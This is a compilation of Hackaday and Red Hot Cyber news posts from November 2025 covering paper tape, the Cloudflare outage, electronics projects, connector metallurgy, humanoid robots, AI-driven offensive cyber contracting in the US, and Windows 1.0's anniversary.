Since the dawn of computers, we’ve tried different ways to store data. These days, you grab data over the network, but you probably remember using optical disks, floppies, or, more recently, flash drives to load something into your computer. Old computers had to use a variety of methods, such as magnetic tape. But many early computers used some technology that existed from the pre-computer era, like punched cards or, as [Anthony Francis-Jones] shows us, paper tape.

Paper tape was common in TeleType machines and some industrial applications. In fact, as early as 1725, looms could use paper tape, which would eventually lead to punched cards. For computers, there were two common variations that differed in how many holes were punched across the tape: 5 or 8. There was also a small sprocket hole that allowed a gear to move the tape forward through a reader.

Typically, brushes or optical sensors would read the holes into the computer. Some paper tape used regular paper, but others used oily paper. You could also get tapes made out of mylar, which was very durable.

The other big difference in tapes was in how they were punched. A conventional tape had the entire hole punched out, leaving confetti-like “chad.” There were also chadless tapes where the chad was left slightly connected to the paper.

One common feature of paper tape was that it would skip any section where every hole had been punched. This allowed you to erase parts of the tape by punching over it. Then, with scissors and tape, you could splice sections by lining up the fully punched areas between two sections of tape. You could also make endless loops of tape.

Paper tape was used as a crude word processor back in the day. They were even used to send wire photos.

youtube.com/embed/QzRhDXnpn3Q?…

hackaday.com/2025/11/20/a-pape…

On November 18 of 2025 a large part of the Internet suddenly cried out and went silent, as Cloudflare’s infrastructure suffered the software equivalent of a cardiac arrest. After much panicked debugging and troubleshooting, engineers were able to coax things back to life again, setting the stage for the subsequent investigation. The results of said investigation show how a mangled input file caused an exception to be thrown in the Rust-based FL2 proxy which went uncaught, throwing up an HTTP 5xx error and thus for the proxy to stop proxying customer traffic. Customers who were on the old FL proxy did not see this error.

The input file in question was the features file that is generated dynamically depending on the customer’s settings related to e.g. bot traffic. A change here resulted in said feature file to contain duplicate rows, increasing the number of typical features from about 60 to over 200, which is a problem since the proxy pre-allocates memory to contain this feature data.

While in the FL proxy code this situation was apparently cleanly detected and handled, the new FL2 code happily chained the processing functions and ingested an error value that caused the exception. This cascaded unimpeded upwards until panic set in: thread fl2_worker_thread panicked: called Result::unwrap() on an Err value

The Rust code in question was the following:

The obvious problem here is that an error condition did not get handled, which is one of the most basic kind of errors. The other basic mistake seems to be that of input validation, as apparently the oversized feature file doesn’t cause an issue until it’s attempted to stuff it into the pre-allocated memory section.

As we have pointed out in the past, the biggest cause of CVEs and similar is input validation and error handling. Just because you’re writing in a shiny new language that never misses an opportunity to crow about how memory safe it is, doesn’t mean that you can skip due diligence on input validation, checking every return value and writing exception handlers for even the most unlikely of situations.

We hope that Cloudflare has rolled everyone back to the clearly bulletproof FL proxy and is having a deep rethink about doing a rewrite of code that clearly wasn’t broken.

hackaday.com/2025/11/20/how-on…

If you’ve ever used an NE602 or similar IC to build a radio, you might have noticed that the datasheet has a “gilbert cell” mixer. What is that? [Electronics for the Inquisitive Experimenter] explains them in a recent video. The gilbert cell is a multiplier, and multiplying two waveforms will work to mix them together.

At the heart of the gilbert cell is essentially three differential amplifiers that share a common current source. The video shows LTSpice simulations of the circuits as he explains them.

One reason these work well on ICs is that they require very closely-matched transistors. In real life, it is hard to get transistors that match exactly. But when they are all on the same slab of silicon, it is fairly straightforward.

What we really like is that after simulating and explaining the circuit, he explains why multipliers mix signals, then builds a real circuit on the bench using discrete transistors and matched transistor arrays. There is a bit of trigonometry in the explanation, but nothing too difficult.

Of course, the most common application of differential amplifiers is the op amp. The NE602 is out of production, sadly, but if you can find any, they make dandy receivers.

youtube.com/embed/mQ36yy7mloA?…

hackaday.com/2025/11/20/gilber…

Once upon a time, owning a calculator watch was the epitome of cool. Well, for a very specific subset of the population with our own definition of “cool” anyway. The only thing cooler than wearing a calculator watch? Making a calculator watch, of course! If you do it as part of developing your own SDK for a popular RISC V microcontroller, all the better. That’s what [Miroslav Nemecek] did with his Antcalc watch, which is one of the demo projects for the CH32Lib SDK, which is currently under development at version 0.35 as this is written.
It appears as though the solid core wire on the back of the homemade PCB is used to hold the watch band, a nice little hack.
As you might guess, CH32LibSDK is targeting the super-cheap CH32 series of RISC V microcontrollers. Perhaps because the SDK is so early in development, there’s not much documentation outside of the example projects. The examples are all worth looking at, but our tipster wanted us to cover the Antcalc calculator watch specifically.

The Antcalc watch uses the SOP16-packaged CH32V002A4M6 to drive a small OLED display while taking input in Reverse Polish Notation from a dozen small buttons. We’re not sure how the cool kids feel about RPN these days, but that’s got to be worth extra nerd cred. Using a RISC V chip doesn’t hurt in that department, either.

For something so small– 30 mm x 55 mm–it’s looks like a decent little calculator, with 10 registers holding a mantissa of 21 digits and exponents up-to +/-99 in binary coded decimal. Seven layers on the dozen-key input pad mean most of the scientific functions you could ask for are available, along with the ability to record and replay upto 10 macros. There are also ten memory slots, all of which go into the chip’s onboard flash so are non-volatile during a battery swap. (Of which many will be necessary, since this appears to run on a single coin cell.)

If you get bored of wrist-mounted calculating, you could always repurpose this microcontroller to play MOD files on your wrist. Some people couldn’t imagine ever getting bored by a wrist-mounted calculator, and just for them we have this teardown of a beautiful 1975 model and a this article on the history of the calculator watch.

Thanks to [James Bowman] for the tip.

hackaday.com/2025/11/20/wear-t…

UBTECH Robotics, società con base a Shenzhen, ha mostrato pubblicamente la sua nuova ondata di robot umanoidi, consegnandone alcune centinaia in un’unica operazione.

L’annuncio è stato accompagnato da un video che ha rapidamente attirato l’attenzione dei social. Le riprese, realizzate all’interno di un grande magazzino completamente bianco, immortalano lunghi schieramenti di robot impegnati in movimenti sincronizzati: estraggono e reinseriscono la batteria posta sulla schiena, si siedono insieme e poi avanzano in fila verso i camion incaricati del trasporto.

Secondo l’azienda, si tratta della prima consegna su larga scala della seconda generazione dei propri modelli umanoidi, un passaggio considerato strategico per la produzione industriale. La clip si chiude con la parola “Forward”, quasi un motto che accompagna il debutto operativo dei nuovi robot.

La diffusione del filmato ha generato reazioni di segno opposto: c’è chi lo ha accolto con meraviglia e chi, invece, ha espresso una certa inquietudine. Alcuni utenti hanno persino messo in dubbio l’autenticità dell’opera, ipotizzando che potesse trattarsi di una sequenza creata digitalmente, complice l’atmosfera che ricorda le scenografie dei film di fantascienza.

I robot umanoidi sono pensati per imitare postura, movimento e operatività degli esseri umani, così da poter lavorare in ambienti condivisi. Il loro percorso parte da lontano: nel 1973 l’Università di Waseda, in Giappone, presentò Wabot-1, considerato il primo umanoide completo mai costruito. Da allora, la ricerca non si è fermata e oggi la Cina è fra i Paesi che spingono maggiormente sulla robotica avanzata.

Accanto all’interesse tecnologico, riaffiorano però timori legati al futuro del lavoro. La possibilità che macchine di questo tipo possano sostituire ruoli ripetitivi o faticosi alimenta dubbi sulle ricadute economiche per chi occupa mansioni meno qualificate, che rischiano di essere le più esposte alla competizione con robot sempre attivi e privi di costi salariali.

L’iniziativa di UBTECH si inserisce inoltre nel già teso confronto tecnologico tra Cina e Stati Uniti. La rapida crescita del settore robotico cinese viene seguita con attenzione da Washington, che da anni contende a Pechino la leadership in campi come semiconduttori, intelligenza artificiale e automazione. Resta ora da capire quale sarà la risposta statunitense di fronte a un passo avanti considerato rilevante in un settore strategico per entrambe le potenze.

L'articolo Centinaia di robot in marcia: la Cina presenta la nuova generazione umanoide proviene da Red Hot Cyber.

Negli ultimi mesi, negli Stati Uniti si è sviluppata una nuova infrastruttura per le operazioni informatiche , in cui gli agenti automatizzati stanno diventando non solo uno strumento di supporto, ma un vero e proprio partecipante alle operazioni offensive.

In un contesto di competizione con la Cina delle capacità dei sistemi autonomi, Washington sta investendo molto nella ricerca che amplia la portata degli attacchi e riduce i tempi di preparazione, orientandosi verso il concetto di hacking multi-thread basato sull’intelligenza artificiale. Uno dei centri di questa iniziativa è la poco conosciuta azienda Twenty, con sede ad Arlington, che ha ricevuto diversi contratti dalle agenzie militari statunitensi.

L’azienda, che non è ancora uscita formalmente dalla modalità stealth, ha firmato un contratto con il Cyber Command statunitense del valore massimo di 12,6 milioni di dollari. Ha inoltre ricevuto un contratto di ricerca separato con la Marina Militare per 240.000 dollari. Il fatto che una startup finanziata da venture capital riceva investimenti in tecnologie offensive la distingue dai tradizionali appaltatori che tipicamente operano in questo segmento. Inoltre, Twenty è finanziata da entità legate all’intelligence: tra gli investitori figurano In-Q-Tel, una società di venture capital fondata con il supporto della CIA, nonché fondi privati operanti nel mercato tecnologico ad alto rischio.

Il sito web di Twenty afferma che l’azienda crea strumenti di automazione che trasformano le procedure offensive ad alta intensità di lavoro da operazioni manuali a operazioni semplificate, eseguite simultaneamente contro un gran numero di obiettivi. A giudicare dal linguaggio, si tratta di sistemi che ricercano automaticamente i punti vulnerabili degli avversari, preparano scenari di penetrazione e lanciano catene di attacco con un intervento umano minimo. Questo approccio trasforma di fatto le operazioni offensive in una pipeline continua, elaborando centinaia di indirizzi e servizi simultaneamente.

Gli annunci di lavoro dell’azienda rivelano ulteriori dettagli. I requisiti per il responsabile della ricerca offensiva includono lo sviluppo di nuovi metodi per penetrare le reti nemiche, lo sviluppo di framework che descrivono le rotte di attacco e sistemi di automazione dell’hacking basati su modelli. Gli ingegneri ricercati da Twenty devono lavorare con strumenti per la gestione di più agenti di intelligenza artificiale, incluse soluzioni open source per il coordinamento di gruppi di assistenti autonomi. Altre posizioni si concentrano sullo sviluppo di personaggi digitali realistici che si impegneranno in operazioni di ingegneria sociale e nell’infiltrazione di comunità online e canali di comunicazione privati. Questo tipo di attività è tradizionalmente utilizzato dalle agenzie statali per ottenere l’accesso alle reti nemiche senza ricorrere direttamente all’hacking tecnico.

Il team di Twenty è composto da persone con una vasta esperienza nel settore militare e dell’intelligence statunitense. Il CEO dell’azienda ha prestato servizio nella Riserva della Marina e ha lavorato su prodotti di sicurezza presso un’importante azienda statunitense, entrando a far parte dell’azienda dopo aver acquisito una startup focalizzata sulla mappatura delle reti per la sicurezza nazionale. Il CTO si è concentrato sull’analisi dell’esposizione di rete e in precedenza ha prestato servizio nelle unità di intelligence dei segnali dell’esercito statunitense. Il responsabile dell’ingegneria ha trascorso oltre un decennio presso il Cyber Command e altre unità dell’esercito, mentre il responsabile degli affari governativi ha prestato servizio a Capitol Hill e nel team di transizione del Consiglio di sicurezza nazionale.

Gli Stati Uniti non sono l’unico Paese a utilizzare modelli per l’intelligence e le operazioni informatiche. Una recente ricerca di Anthropic ha scoperto che i gruppi cinesi utilizzano modelli per preparare attacchi, consentendo ad agenti autonomi di svolgere gran parte del lavoro di routine, dalla ricognizione delle infrastrutture ai piani di sfruttamento. Questi strumenti possono ridurre i tempi di preparazione di operazioni complesse e accelerare l’identificazione delle debolezze nelle reti avversarie.

Il Pentagono ha anche firmato accordi con OpenAI, Anthropic e xAI per un valore fino a 200 milioni di dollari ciascuno, ma i dettagli dei progetti non sono stati resi noti. Non ci sono informazioni sull’eventuale utilizzo degli sviluppi di queste aziende per missioni offensive. Dato il loro accesso a infrastrutture e modelli, questo rimane uno scenario probabile, soprattutto alla luce della crescente pressione esercitata dalla Cina.

Alla luce della startup in questione, vale la pena menzionare Two Six Technologies, che lavora da diversi anni a un sistema automatizzato per operazioni offensive chiamato IKE. Questo sistema consente a un modulo autonomo di decidere se lanciare un attacco quando la probabilità di successo è elevata. Questo progetto ha raccolto 190 milioni di dollari di finanziamenti, ma non vi è alcuna indicazione che sia in grado di eseguire operazioni parallele su centinaia di risorse con la stessa ampiezza dichiarata da Twenty.

L’uso di modelli in ambito difensivo è molto più diffuso. Ad esempio, l’azienda israeliana Tenzai adatta modelli di intelligenza artificiale per individuare vulnerabilità nei software aziendali. Le sue soluzioni simulano attacchi, ma non sono progettate per l’hacking vero e proprio, bensì per testare la resilienza dei sistemi dei clienti.

Lo sviluppo di sistemi offensivi automatizzati sta cambiando la struttura dei conflitti informatici. Con l’emergere di soluzioni progettate per un impatto massiccio e parallelo sulle infrastrutture avversarie, le azioni offensive stanno diventando più rapide e diffuse.

A giudicare dai contratti in corso, gli Stati Uniti stanno cercando di ottenere un vantaggio significativo in questo settore. A tal fine, stanno utilizzando una combinazione di grandi aziende, società di venture capital, risorse di intelligence e giovani aziende per creare architetture progettate per l’automazione multi-thread.

L'articolo Hacking multi-thread: gli USA pionieri sulle operazioni automatizzate con gli Agent AI proviene da Red Hot Cyber.

When you’re like [Wes] from Watch Wes Work fame, you don’t have a CNC machine hoarding issue, you just have a healthy interest in going down CNC machine repair rabbit holes. Such too was the case with a recently acquired 2001 Milltronics ML15 lathe, that at first glance appeared to be in pristine condition. Yet despite – or because of – living a cushy life at a college’s workshop, it had a number of serious issues, with a busted Z-axis drive board being the first to be tackled.
The Glentek servo board that caused so much grief. (Credit: Watch Wes Work, YouTube)
The identical servo control board next to it worked fine, so it had to be an issue on the board itself. A quick test showed that the H-bridge IGBTs had suffered the typical fate that IGBTs suffer, violently taking out another IC along with them. Enjoyably, this board by one Glentek Inc. did the rebranding thing of components like said IGBTs, which made tracking down suitable replacements an utter pain that was eased only by the desperate communications on forums which provided some clues. Of course, desoldering and testing one of the good IGBTs on the second board showed the exact type of IGBT to get.

After replacing said IGBTs, as well as an optocoupler and other bits and pieces, the servo board was good as new. Next, the CNC lathe also had a busted optical encoder, an unusable tool post and a number of other smaller and larger issues that required addressing. Along the way the term ‘pin-to-pin compatible’ for a replacement driver IC was also found to mean that you still have to read the full datasheet.

Of the whole ordeal, the Glentek servo board definitely caused the most trouble, with the manufacturer providing incomplete schematics, rebranding parts to make generic replacements very hard to find and overall just going for a design that’s interesting but hard to diagnose and fix. To help out anyone else who got cursed with a Glentek servo board like this, [Wes] has made the board files and related info available in a GitHub repository.

youtube.com/embed/BuQZeiAugp4?…

hackaday.com/2025/11/20/fixing…

It’s likely that Hackaday readers have among them a greater than average number of people who can name one special thing they did on September 23rd, 2002. On that day a new web browser was released, Phoenix version 0.1, and it was a lightweight browser-only derivative of the hugely bloated Mozilla suite. Renamed a few times to become Firefox, it rose to challenge the once-mighty Microsoft Internet Explorer, only to in turn be overtaken by Google’s Chrome.

Now in 2025 it’s a minority browser with an estimated market share just over 2%, and it’s safe to say that Mozilla’s take on AI and the use of advertising data has put them at odds with many of us who’ve kept the faith since that September day 23 years ago. Over the last few months I’ve been actively chasing alternatives, and it’s with sadness that in November 2025, I can finally say I’m Firefox-free.

Just What Went Wrong?

Browser market share, 2009 to 2025. Statcounter, CC BY-SA 3.0.
It was perhaps inevitable that Firefox would lose market share when faced with a challenger from a player with the economic muscle of Google. Chrome is everywhere, it’s the default browser in Android and ChromeOS, and when stacked up against the Internet Explorer of fifteen years or so ago it’s not difficult to see why it made for an easy switch. Chrome is good, it’s fast and responsive, it’s friendly, and the majority of end users either don’t care or don’t know enough to care that it’s Google’s way in to your data. When it first appeared, they still had the “Don’t be evil” aura to them, even if perhaps behind the warm and fuzzy feeling it had already worn away in the company itself.

If Firefox were destined to become a minority player then it could still be a successful one; after all, 2% of the global browser market still represents a huge number of users whose referrals to search engines return a decent income. But the key to being a success in any business is to know your customers, and sitting in front of this particular screen it’s difficult to escape the conclusion that Mozilla have lost touch with theirs. To understand this it’s necessary for all of us to look in the mirror and think for a moment about who uses Firefox.

Somewhere, A Group Of Users Are Being Ignored

Blink, and its name will change: Phoenix version 0.1. Mozilla Foundation; Microsoft, Inc., CC BY-SA 4.0.
A quick straw poll in my hackerspace revealed a majority of Firefox users, while the same straw poll among another group of my non-hackerspace friends revealed none. The former used Firefox because of open-source vibes, while the latter used Edge or Safari because it came with their computer, or Chrome on their phone and on their desktop because of Google services. Hackaday is not a global polling organisation, but we think it’s likely that the same trend would reveal itself more widely. If you’re in the technology space you might use Firefox, but if you aren’t you may not even have heard of it in 2025. It’s difficult to see that changing any time soon, to imagine some killer feature that would make those Chrome, Safari, and Edge users care enough to switch to Firefox.

To service and retain this loyal userbase then, you might imagine that Mozilla would address their needs and concerns with what made Phoenix a great first version back in 2002. A lightweight and versatile standards-compliant and open-source web browser with acceptable privacy standards, and without any other non-browser features attached to it. Just a browser, only a browser, and above all, a fast browser.

Instead, Mozilla appear to be following a course calculated to alarm rather than retain these users. Making themselves an AI-focused organisation, neglecting their once-unbeatable developer network, and trying to sneak data gathering into their products. They appear now to think of themselves as a fad-driven Valley startup rather than the custodians of a valuable open-source package, and unsurprisingly this is concerning to those of us who know something about what a browser does behind the scenes.

Why Is This Important?

If you have ever had to write code like this, you will know. Bret Taylor, CC-BY 2.5.
It is likely that I am preaching to the choir here, but it’s important that there be a plurality of browsers in the world. And by that I mean not just a plurality of front-ends, but a plurality of browser engines. One of the reasons Phoenix appeared all those years ago was to challenge the dominance of Microsoft Internet Explorer, the tool by which the Redmond software company were trying to shape the online world to their tune. If you remember the browser wars of that era, you’ll have tales of incompatibilities seemingly baked in on purpose to break the chances of an open Web, and we were all poorer for it. Writing Javascript with a range of sections to deal with the quirks of different browser families is now largely a thing of the past, and for that you have the people who stuck with Firefox in the 2000s to thank.

The fear is that here in 2025 we are in an analogous situation to the early 2000s, with Google replacing Microsoft. Such is the dominance of Google Chrome and the WebKit-derived Blink engine which powers it, that in effect, Google have immense power to shape the Web just as Microsoft did back in the day. Do you trust them to live up to their now-retired mission statement and not be evil? We can’t say we do. Thus Firefox’s Gecko browser engine is of crucial importance, representing as it does the only any-way serious challenger to Blink and WebKit’s near-monopoly. That it is now tied to a Mozilla leadership treating it in so cavalier a manner does not bode well for the future of the Web.

So I’ve set out my stand here, that after twenty-three years, I’m ready to abandon Firefox. It’s not a decision that has been easy, because it’s important for all of us that there be a plurality of browsers, but such is the direction being taken by Mozilla that I am not anxious to sit idly by and constantly keep an eye out for new hidden privacy and AI features to turn off with obscure checkboxes. In the following piece I’ll take a look at my hunt for alternatives, and you may be surprised by the one I eventually picked.

hackaday.com/2025/11/20/so-lon…

[Zack], in addition to being a snappy dresser, has a thing for strange 3D printing filament. How strange? Well, in a recent video, he looks at filaments that require 445 C. Even the build plate has to be super hot. He also looks at filament that seems like iron, one that makes you think it is rubber, and a bunch of others.

As you might expect, he’s not using a conventional 3D printer. Although you might be able to get your more conventional printer to handle some of these, especially with some hacking. There is filament with carbon fiber, glass fiber, and more exotic add-ons.

Most of the filaments need special code to get everything working. While you might think you can’t print these engineering filaments, it stands to reason that hobby-grade printers are going to get better over time (as they already have). If the day is coming when folks will be able to print any of these on their out-of-the-box printer, we might as well start researching them now.

If you fancy a drinking game, have a shot every time he changes shots and a double when the Hackaday Prize T-shirt shows up.

youtube.com/embed/J8PZWkjt65Q?…

hackaday.com/2025/11/20/rare-f…

Il Consiglio Supremo di Difesa, si è riunito recentemente al Quirinale sotto la guida del Presidente Sergio Mattarella, ha posto al centro della discussione l’evoluzione delle minacce ibride e digitali che investono l’Italia e l’Europa.

La guerra in Ucraina resta lo scenario da cui originano molte delle tensioni che ricadono anche sul dominio cyber, con Mosca che continua a utilizzare strumenti tecnologici e informativi come leve strategiche per destabilizzare i Paesi occidentali.

Una parte rilevante della riunione è stata dedicata all’impiego sempre più aggressivo dei droni da parte della Russia, non solo in Ucraina ma anche con violazioni dello spazio aereo di Paesi NATO. Sebbene si tratti di operazioni prettamente militari, il Consiglio ha sottolineato come tali tecniche riflettano un salto di qualità nell’integrazione tra mezzi fisici e digitali, confermando la necessità di potenziare le capacità europee di innovazione e difesa tecnologica, in linea con quanto previsto dal Libro Bianco per la Difesa 2030.

Il tema centrale sul fronte cyber è stato però l’aumento della minaccia ibrida. Il Consiglio ha riconosciuto che la Russia – insieme ad altri attori ostili – sta intensificando attività che spaziano dalla disinformazione alle interferenze nei processi democratici, sfruttando la velocità e l’ubiquità delle tecnologie digitali, oltre alle potenzialità dell’intelligenza artificiale per manipolare lo spazio cognitivo e costruire narrazioni polarizzanti.

Sempre più frequenti sono anche le operazioni cyber dirette contro infrastrutture critiche italiane ed europee. Ospedali, reti energetiche, sistemi finanziari e piattaforme logistiche rientrano tra gli obiettivi più vulnerabili.

L’obiettivo di questi attacchi è creare interruzioni, generare sfiducia nelle istituzioni e colpire la stabilità economica e sociale. Per questo, il Consiglio ha ribadito l’urgenza di rafforzare i meccanismi di difesa e coordinamento nazionale, in continuità con le iniziative già intraprese a livello UE e NATO.

Accanto alle minacce digitali, il Consiglio ha evidenziato come nuovi domini – lo spazio e il sottosuolo marino – stiano rapidamente diventando aree chiave di competizione strategica. La protezione dei cavi sottomarini, dei satelliti e delle infrastrutture spaziali è ormai parte integrante della sicurezza cyber nazionale, poiché un attacco in questi ambiti avrebbe ricadute dirette sulle comunicazioni digitali e sui servizi essenziali.

In chiusura, oltre ai rischi cyber e ibridi, il Consiglio ha espresso forte preoccupazione per le tensioni nei principali scenari di crisi globali – Ucraina, Medio Oriente, Libano, Sahel e Balcani – ricordando che ogni instabilità regionale si ripercuote anche sulla sicurezza informatica europea.

Il messaggio finale è stato chiaro: l’Italia deve continuare a investire nella resilienza digitale e nella cooperazione internazionale, mantenendo alta la vigilanza su tutte le dimensioni della sicurezza contemporanea.

L'articolo Il Consiglio Supremo di Difesa Italiano discute sulla minacce ibride e digitali in Italia e Europa proviene da Red Hot Cyber.

If you take a look around you, chances are pretty good that within a few seconds, your eyes will fall on some kind of electrical connector. In this day and age, it’s as likely as not to be a USB connector, given their ubiquity as the charger of choice for everything from phones to flashlights. But there are plenty of other connectors, from mains outlets in the wall to Ethernet connectors, and if you’re anything like us, you’ve got a bench full of DuPonts, banana plugs, BNCs, SMAs, and all the rest of the alphabet soup of connectors.

Given their propensity for failure and their general reputation as a necessary evil in electrical designs, it may seem controversial to say that all connectors are engineered to last. But it’s true; they’re engineered to last, but only for as long as necessary. Some are built for only a few cycles of mating, while others are built for the long haul. Either way, connectors are a great case study in engineering compromise, one that loops physics, chemistry, and materials science into the process.

A Tale of Two Connectors

While there’s a bewildering number of connectors available today, most have at least a few things in common. Generally, connectors consist of one or more electrically conductive elements held in position by an insulating body of some sort, one that can mechanically attach to another body containing more conductive elements. When the two connectors are attached, the conductive elements come into physical contact with each other, completing the circuit and providing a low-resistance path for current to flow. The bodies also have to be able to separate from each other when the connections need to be broken.
This Molex connector is only engineered for a few mating cycles over its useful life. By Barcex – Self-published work, CC BY-SA 2.5.
For as simple as that sounds, a lot of engineering goes into making connectors that are suitable for the job at hand. The intended use of a connector dictates a lot about how it’s designed, and in terms of connector durability, looking at the extremes can be instructive. On one end of the scale, we might have something like a Molex connector on a wiring harness in a dishwasher. Under ideal circumstances, a connector like that only needs to be used once, in the factory during assembly. If the future owner of the appliance is unlucky, that connector might go through one or two more mating cycles if the machine needs to be serviced at some point. Either way, the connector is only going to be subjected to low single-digit mating cycles, and should be designed accordingly
A USB-C connector, on the other hand, is designed for 10,000 mating cycles. By Tomato86 – Own work, CC BY-SA 4.0.
On the other end of the mating-cycle spectrum would be something like the USB-C connector on a cell phone. Assuming the user will charge the phone once a day, the connector might have to endure many thousands of mating cycles over the useful life of the phone. Such a connector has a completely different use case from a connector like that Molex, and very different design constraints. But the basic job — bringing two conductors into close contact to complete a low-resistance circuit, and allow the circuits to be broken only under the right circumstances — is the same for both.

But what exactly do we mean by “close contact”? It might seem obvious — conductors in each half of the connector have to touch each other. But keeping those conductors in contact is the real trick, especially in challenging environments such as under the hood of a car or inside a CNC machine, where vibration, dust, and liquid intrusion can all come together to force those contacts apart and break the circuit while it’s still in use.

esseeWhy Be Normal?

To keep contacts together, engineers rely on one of the simplest mechanisms of all: springs. In most connectors, the contacts themselves are the sprung elements, although there are connectors where force is applied to the contacts with separate springs. In either case, the force generated by the spring pushes the contacts together firmly enough to ensure that they stay connected. This is the normal force, called so because the force is exerted perpendicular to the plane of contact when the connector is mated.

Traditionally, normal force in connector engineering is expressed in grams, which seems like an affront to the SI system, where force is expressed in Newtons. But fear not — “grams” does not refer to the mass of a contact, but rather is shorthand for “gram-force,” the force applied by one gram of mass in a one g gravitational field. So, an “80 gram” contact is really exerting 0.784 N of normal force. But that’s a bit clunky, especially when most connectors have normal forces that are a fraction of a Newton. So it ends up being easier to refer to the grams part of the equation and just assume the acceleration component.

The amount of normal force exerted by the contacts is a critical factor in connector design, and has to be properly scaled for the job. If the force is too low, it may increase the resistance of the circuit or even result in intermittent open circuits. If the force is too high, the connector could be difficult to mate and unmate, or the contacts could wear out from excess friction.

Since the contacts themselves are usually the springs as well as the conductors, getting the normal force right, as well as ensuring the contacts are highly conductive, is largely an exercise in materials science. While pure copper is an excellent conductor, it is not elastic enough to provide the proper normal force. So, most connectors use one of two related copper alloys for their contacts: phosphor bronze, or beryllium copper. Both are excellent electrical and thermal conductors, and both are strong and springy, but there are significant differences between the two that make them suitable for different types of connectors.

As the name implies, phosphor bronze is an alloy of phosphorus and bronze, which itself is an alloy of copper and tin. To make phosphor bronze, about 0.03% phosphorus is added to pure molten copper. Any oxygen dissolved in the copper reacts with the phosphorus, making phosphorus pentoxide (P₂O₅), which can be easily removed during refining. About 2% tin is added along with about 10% zinc and 2% iron to make the final alloy, which is easily cast into sheets or coil stock.

While far superior to pure copper or non-phosphor bronze for use in contacts, phosphor bronze is, at best, a compromise material. It’s good enough in almost all categories — strength, elasticity, conductivity, wear resistance — but not really great in any of them. It’s the “Jack of all trades, master of none” of the electrical contact world, which, coupled with its easy workability and low cost, makes it the metal of choice for the contacts in commodity connectors. If a manufacturer is making a million copies of a connector, especially ones that are cheap enough that nobody will cry too much if they have to be replaced, chances are good that they’ll choose phosphor bronze. It’s also the alloy most likely to be used for connectors intended for low mating-cycle applications, like the aforementioned dishwasher Molex.

For more mission-critical contacts, a different alloy is generally called for: beryllium copper. Also known as spring copper, beryllium copper contains up to about 3% beryllium, but for electrical uses, it’s usually around 0.7% with a little cobalt and nickel added in. Beryllium copper is everything that phosphor bronze is, and more. It’s stronger and springier, it’s a far better electrical conductor, and it also has a better ability to withstand creep under load. Also known as stress relaxation, creep under load is the tendency for a spring to lose its strength over time, which reduces its normal force. Phosphor bronze has pretty good stress relaxation resistance, but when it heats up past around 125°C, it starts to lose spring force — not ideal for high-power applications. Beryllium copper is easily able to withstand 150°C or more, making it a better choice for power connectors.

Beryllium copper also has a higher elastic modulus than phosphor bronze, which makes it easier to create small contacts that still have enough normal force to maintain good contact. Smaller is better when it comes to modern high-density connectors, so you’ll often see beryllium copper used in fine-pitch connectors. It also has better fatigue life and tends to maintain normal force over repeated mating cycles, making it desirable for connectors that specify cycle lives in the thousands. But just because it’s desirable doesn’t make it a shoo-in — beryllium copper is at least three times more expensive than phosphor bronze. That means it’s usually reserved for connectors that can justify the added expense.

Noble Is Only Skin Deep

No matter what the base metal is for connector contacts, chances are good that the finished contact will have some sort of plated finish. Plating is important because it protects the base metal from oxidation, as well as increasing the wear resistance of contacts and improving their electrical conductivity. Plating metals fall into two broad categories: noble (principally gold, with silver used sometimes for high-power connectors, as well as palladium, but only very rarely) and non-noble platings.

Noble metal finishes are quite common in high-density connectors, RF applications, and high-speed digital circuits, as well as high-reliability applications and connectors that are expected to have high mating cycles. But at the risk of stating the obvious, gold is expensive, so it’s used only on connectors that really need it. And even then, it’s very rare that the entire contact is plated. While that would be incredibly expensive — gold is currently pushing $4,000 an ounce — the real reason is that gold isn’t particularly solderable. So generally, selective plating is used to deposit gold only on the mating surfaces of contacts, with the tail of the contact plated in a non-noble metal to improve solderability.

youtube.com/embed/AtwVm_3YrwI?…

Among the non-noble finishes, tin and tin alloys are the first choice. Aside from its excellent solderability, tin alloys do a great job at protecting the base metal from corrosion. However, the tin plating itself begins to oxidize almost immediately after it’s applied. This would seem to be a problem, but it’s easily addressed by using more spring force in the contacts to break through the oxide layer to fresh tin. Tin-plated contacts typically specify normal forces of 100 grams or more, while noble metal contacts can get by with 30 grams or less. Also, tin contacts require much thicker plating than noble metal finishes. Tin is generally specified for commodity connectors and anywhere the number of mating cycles is likely to be low.

Don’t You Fret

Although corrosion is obviously something to be avoided, the real enemy when it comes to connector durability is metal-on-metal contact. The spring pressure between contacts unavoidably digs into the plating, and while that’s actually desirable in tin-plated contacts, too much of a good thing is bad. Digging past the plating into the base metal marks the end of the road for many connectors, as the base metal’s relatively lower conductivity increases the resistance of the connection, potentially leading to intermittent connections and even overheating. Again, noble metals perform better in this regard, at least in the long run, as their lower normal force reduces friction and results in a longer-lived contact.

There’s another metallurgical phenomenon that can wreak havoc on connectors: fretting. Fretting is caused by tiny movements of the contacts against each other, on the order of 10^-7 meters, generally in response to low-g vibrations but also as a result of thermal expansion and contraction. Fretting damage occurs when the force of micromotions between contacts exceeds the normal force exerted between them. This leads to one contact sliding over the other by a tiny amount, digging a trench through the plating metal. In tin-plated contacts, this exposes fresh tin, which oxidizes instantly, forming an insulating surface. Further micromotions expose more fresh tin, which leads to more oxides. Eventually the connection fails due to high resistance. Fretting is insidious because it happens even without a lot of mating cycles; all it takes is a little vibration and some time. And those are the enemies of all connectors.

hackaday.com/2025/11/20/mating…

Esattamente 40 anni fa, il 20 novembre 1985, Microsoft rilasciò Windows 1.0, la prima versione di Windows, che tentò di trasformare l’allora personal computer da una macchina con una monotona riga di comando in un sistema con finestre, icone e controllo tramite mouse.

Si tratta della messa a terra di alcune delle più grandi innovazioni del nostro tempo, ideata dal genio di Duglas Engelbart e dell’“oN-Line System”, il sistema progettato negli anni sessanta che introduceva un sistema operativo a finestre connesso ad un mouse, presentati nella storica “mother of all demos” del 9 dicembre del 1968.
Schermata di caricamento di Windows 1.0
Per il pubblico di oggi, questo sembra scontato (o sconosciuto) ma a metà degli anni ’80, l’idea stessa di un’interfaccia grafica sul PC IBM di massa era praticamente rivoluzionaria.

Tecnicamente, Windows 1.0 non era un sistema operativo completo. Era una sovrapposizione grafica su MS-DOS , una shell a 16 bit chiamata MS-DOS Executive che si sovrapponeva al sistema esistente e consentiva l’esecuzione di programmi in modalità finestra.

La prima versione fu rilasciata solo negli Stati Uniti; aggiornamenti ed edizioni internazionali seguirono in seguito, e il pacchetto costava circa 99 dollari, una cifra considerevole all’epoca.
Desktop di Windows 1.0, dove si possono vedere le finestre non modificabili nella loro dimensione
